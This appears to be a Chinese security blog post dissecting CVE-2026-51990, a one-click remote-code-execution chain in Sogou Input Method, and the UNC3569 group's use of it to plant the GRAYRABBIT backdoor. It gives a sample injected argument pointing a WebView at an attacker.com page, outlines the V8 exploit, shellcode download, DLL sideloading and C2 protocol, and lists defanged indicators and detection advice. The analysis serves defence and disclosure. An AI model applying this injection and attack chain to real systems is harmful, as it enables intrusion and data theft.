搜狗输入法 CVE-2026-51990 深度拆解：三缺陷串成一键 RCE，UNC3569 已在野投放 GRAYRABBIT
TL;DR：Gen Digital 旗下 Gen Threat Labs 9 月 10 日发布报告，披露搜狗输入法 Windows 版一键 RCE 漏洞 CVE-2026-51990（奇安信 CERT 编号 QVD-2026-66338，标记"重保 2026 / 在野利用 / 影响亿级"）。攻击链由三个单独看都不致命的缺陷串联：
sgbiz:协议 param 参数零校验 → 皮肤中心 WebView 任意导航 → Chromium 80 无沙箱引擎。受害者点击一个恶意链接即可落盘后门——与中国有关的间谍组织 UNC3569 已真实利用，投放 GRAYRABBIT 后门。修复版 16.3.0.3498 早在 4 月 21 日就通过自动更新推送，确认版本即可安心，但这个案例的架构教训值得每个做桌面软件的人细读。
一、事件背景：从一次入侵排查里挖出的国民软件漏洞
Gen Threat Labs 在调查一起 UNC3569 入侵事件时，把初始访问链路一路回溯，发现进程链起点不在浏览器、不在 Office，而是搜狗输入法——一个数亿级安装量、办公终端几乎人手一台的国民输入法。
时间线：
| 日期 | 事件 |
|---|---|
| 2026-04-09 | Gen 向腾讯提交完整技术报告（ISO/IEC 29147:2018 协调披露） |
| 2026-04-10 | 腾讯确认收悉 |
| 2026-04-21 | 修复版 16.3.0.3498 全量自动更新（12 天响应） |
| 2026-05-04 | 向 MITRE 申请 CVE |
| 2026-07-10 | MITRE 分配 CVE-2026-51990 |
| 2026-09-10 | 细节公开 |
补丁推了快五个月，自动更新正常的用户早已安全。但企业里总有长期不开机的终端、禁用自动更新的环境、各种魔改精简版系统——这才是今天还要把它讲透的原因。
二、攻击面：输入法怎么"跟自己说话"
搜狗输入法不是单个 exe，而是一堆组件的集合，组件之间靠 Windows 自定义协议 sgbiz: 通信。任何程序——包括网页和 IM 消息里的链接——触发 sgbiz: 开头的 URL，Windows 都会交给协议处理器 biz_helper.exe，由它解析 URL 并启动对应组件。问题就出在这个"解析并启动"里。
三、三缺陷解剖：每一环都"不算大事"，串起来就是灾难
缺陷一：param 参数零校验的命令行注入
biz_helper.exe 处理 sg_process 命令时提取五个参数：module（启动哪个程序）、param（命令行参数）、work_dir、start_mode、start_show。
校验严重失衡：module 有严格检查（字符黑名单、MAX_PATH 限制、相对路径解析、GetFileAttributesW 确认文件存在），但 param 仅经过一次 URL 解码，无任何过滤、白名单或清洗，直接作为命令行参数传给目标可执行文件。
典型的"过滤了启动谁，没过滤带什么参数启动"设计盲区——module 传的是官方签名程序，杀软不看第二眼；param 里藏的私货才是杀器。
缺陷二：skincenter——全程序唯一的浏览器入口
参数注入的落点选在 SGMyInput.exe（配置程序）。它大多数页面都是原生 Win32 对话框，唯独 skincenter（皮肤中心） 会创建 CEF WebView 渲染皮肤商店——这是整个程序唯一的浏览器实例化路径。
攻击者传入 -page=skincenter -url=https://attacker.com/exploit.html，OnWebViewIsReady 回调对 URL 不做任何协议检查（http/https/file/data/javascript 全接受）、无域名白名单，直接导航。
缺陷三：一台 2020 年出厂、还拆了安全带的浏览器
WebView 渲染进程 SGWebRender.exe 加载的 libcef.dll 为 CEF 80.1.16 / Chromium 80.0.3987.163（2020 年 3 月引擎），落后当时稳定版约 60 个大版本。更夸张的是初始化配置：
PopulateCefSettings显式设置no_sandbox=TRUE——渲染进程直接以用户权限跑disable-web-security——同源策略关闭，任意页面可读任意源allow-file-access-from-files——可读本地文件bDisableWebSecurity标志硬编码为 1
哪怕不打浏览器漏洞，仅凭关闭的同源策略，恶意页就能对内网服务发起带凭据请求并外传数据；一旦打了 V8 漏洞，没有沙箱意味着"渲染进程逃逸"这一步直接免了——引擎漏洞即系统漏洞。
四、在野利用实录：UNC3569 的完整打法
UNC3569 是 Google 威胁情报记录的 PRC-nexus 威胁组织，惯用 n-day 漏洞 + GRAYRABBIT 后门 + RABBITFUR 下载器组合，目标集中在东亚和东南亚的政府、教育、技术、金融行业。
抓到的野外投递链接指向 noht1ng.top 下的恶意页面，部署 CVE-2021-38003（V8 类型混淆，影响 Chrome < 95）利用代码：
- 利用 "the hole" 值破坏 V8 内部 Map 结构，拿到堆上任意读写
- 定位 WebAssembly 实例（V8 用 RWX 内存做 JIT 页），覆写为 921 字节 x64 shellcode 并跳转执行
- shellcode 通过 PEB 遍历 + ROR8 哈希解析
kernel32.dll/Urlmon.dll，从暂存服务器8.218.50[.]207（阿里云香港）下载三文件到C:\Users\Public\Documents\：正版7z.exe+ 木马化 DLL（内部名 boy.dll，保存为7z.dll侧载）+ 加密载荷 - 执行
7z.exe a ... p.7z ...的唯一目的是启动7z.exe自动加载同目录伪造的7z.dll——经典 DLL 侧载
加载器反沙箱设计很讲究：CreateToolhelp32Snapshot 数进程，≥50（真实机器）则计数值置 0，<50（沙箱）保留实际值；解密密钥 = 确定性浮点计算（5 万次迭代固定结果）XOR 进程门限值 XOR 0x098838B0——沙箱环境因门限值非 0 解密必失败。解密后入 RWX 缓冲区，通过 Thread Pool API 规避行为检测，自删除用 NTFS 备用数据流（ADS）技术，不留 DeleteFileW 日志。
GRAYRABBIT 载荷：x64 PIE，内部名 core.dll，C2 域 mail.uaiubifas[.]top，443 端口原始 TCP（非 TLS），每 4096 字节帧用 RC4 加密（静态密钥 m5b1u3，每帧重置 S-box），带 0-9 号完整命令集：静默执行、交互式反向 Shell、插件反射加载、系统信息收集（<ip>+<hostname>+<username>+<exename>:<pid>）、文件上传下载。
五、IoC 与检测
网络指标：
mail.uaiubifas[.]top— GRAYRABBIT C2（443 原始 TCP + RC4）noht1ng[.]top— 漏洞利用页8.218.50[.]207— 暂存服务器
文件哈希（SHA256）：
29c7ee41...397a63— 7zp.dll（木马化加载器）749160a2...02422e— p（加密 PE shellcode）D7a3c7eb...828b3a— GRAYRABBIT（core.dll）
终端侧检测：biz_helper.exe / SGMyInput.exe 带非常规参数（-url= 指向外部域名）的启动事件；SGWebRender.exe 访问非 sogou 域名的出站流量。
是否受影响最直接的判断：确认搜狗输入法版本 ≥ 16.3.0.3498。
六、修复与防御视角
腾讯的修复完全落在 biz_helper.exe 协议处理层：识别 URL 承载的 -url/-firsturl 开关，InternetCrackUrlW 解析后拒绝一切非 HTTPS 协议，主机名后缀匹配白名单（.sogou.com / .qq.com / .woa.com / .sogou——attacker-sogou.com 不匹配），后续追加了浏览器上下文模块参数白名单和危险 param 黑名单。
注意：CEF 配置与 libcef 版本未动——no_sandbox 仍为 1、bDisableWebSecurity 仍硬编码。这是合理的工程决策（协议层封堵即可断链），但意味着未来若再出协议层漏洞，旧引擎问题立刻还魂。
三个值得每个企业记住的点：
- 内置浏览器是桌面软件的隐形攻击面。输入法、网盘、笔记软件……大量桌面软件内置 CEF 且常年不更新引擎。资产盘点时请把"进程里的 WebRender/CEF 字样"当作一类资产来管。
- 修复断在最细的环节。纵深防御的价值不在第一环堵死，而在第二、三环还有底牌——这个案例里底牌（沙箱、同源策略）是出厂就被拆掉的。
- 组合拳是桌面软件漏洞的主流剧本。与近期 GitLab 路径遍历 CVE-2026-85706 这类"单点高危"不同，本案例每一环单独评分都不高，链式利用才致命——风险评估必须按链评估，不能按单点 CVSS 排优先级。
七、参考
- Gen Threat Labs — Gray Rabbits and the Tale of a One-Click Backdoor（2026-09-10）
- 奇安信 CERT — QVD-2026-66338 漏洞通告（重保 2026 · 关键漏洞 · 在野利用）
- MITRE — CVE-2026-51990
本文仅用于防御研究，所有攻击细节来自厂商与研究机构公开披露，IoC 已做防污染处理。修复确认方法：搜狗输入法设置 → 检查更新 → 版本 ≥ 16.3.0.3498。